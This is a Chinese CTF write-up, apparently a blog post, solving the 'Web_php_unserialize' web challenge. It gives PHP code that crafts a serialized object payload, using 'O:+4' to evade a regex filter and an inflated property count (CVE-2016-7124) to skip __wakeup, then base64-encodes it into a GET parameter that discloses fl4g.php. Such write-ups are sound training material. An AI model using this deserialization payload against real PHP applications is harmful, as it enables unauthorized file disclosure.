zoukankan      html  css  js  c++  java
  • 攻防世界-web-高手进阶区012-Web_php_unserialize

    1.审计代码,构造payload,代码生成对象的序列化

    <?php

    class Demo {

        private $file = 'index.php';

        public function __construct($file) {

            $this->file = $file;

        }

        function __destruct() {

            echo @highlight_file($this->file, true);

        }

        function __wakeup() {

            if ($this->file != 'index.php') {

                //the secret is in the fl4g.php

                $this->file = 'index.php';

            }

        }

    }

        $A = new Demo('fl4g.php');

        $b = serialize($A);

        //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

        $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match

        $b = str_replace(':1:', ':2:',$b);//绕过wakeup

       //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"

        echo (base64_encode($b));

    //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

     ?>

     

    2.+4替换成4是为了绕过preg_match的正则表达式

    同样的把2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

    最后按照题目的意思encode一下base64就获取反序列化的结果,get传参即可

    ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

     


  • 相关阅读:
    jbox使用总结
    NOI 2012 【迷失游乐园】
    SCOI 2008 【奖励关】
    trie树——【吴传之火烧连营】
    状压DP——【蜀传之单刀赴会】
    NOIP提高组2016 D2T3 【愤怒的小鸟】
    NOIP提高组2013 D2T3 【华容道】
    [学习笔记] [KMP]字符串匹配算法
    SHOI 2014 【概率充电器】
    HNOI 2015 【亚瑟王】
  • 原文地址:https://www.cnblogs.com/joker-vip/p/12482066.html
Copyright © 2011-2022 走看看